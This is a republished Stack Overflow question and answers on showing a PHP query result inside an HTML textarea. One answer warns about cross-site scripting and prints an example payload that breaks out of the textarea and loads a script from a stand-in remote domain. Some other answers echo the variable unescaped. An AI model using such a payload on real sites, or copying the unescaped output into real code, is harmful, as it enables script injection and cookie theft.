Display PHP query result in textarea

余生长醉 提交于 2019-12-07 02:56:16

问题


I'm having a little problem over here, I'm trying to make a news system with an edit button, it's all going great but I'm having problems with the "textarea", I can display the results on inputs but when I try to display them in a textarea it wont, look:

This code works perfectly:

<input name="txt_02" size="87" maxlength="100" id="txt_Resumen" maxlength="140"  value="<?php echo $not_Resumen?>"/>

This wont:

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"  value="<?php echo $not_Contenido ?>">
</textarea>

I tried with $not_Resumen and other ones in the textarea and it doesn't work, the textarea would show up empty without the text, it should be a little mistake I'm making but I can't find it. Thanks.


回答1:


Just put it within ><, there's no value attribute:

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea>

You should also use htmlspecialchars so that the textarea will not break if $not_Contenido contains </textarea>.

This is sometimes overlooked, but if $not_Contenido contained something like:

</textarea><script src="http://remotedomain.com/evilscript.js"></script>

An attacker can run anything they want, and all your clients will download and run the script on your website. A common attack would be sending cookies to their domain.




回答2:


Try like

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion">
     <?php echo $not_Contenido; ?>
</textarea>

We con't give value to the textbox.




回答3:


Value is not attribute of textarea so simply place between the tag <textarea>?</textarea>

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion" ><?php echo $not_Contenido ?>
</textarea>



回答4:


Place your value between opening and closing tags of textarea as like other HTML tags and textarea has no attribute "value"

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea>


来源:https://stackoverflow.com/questions/17668213/display-php-query-result-in-textarea

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!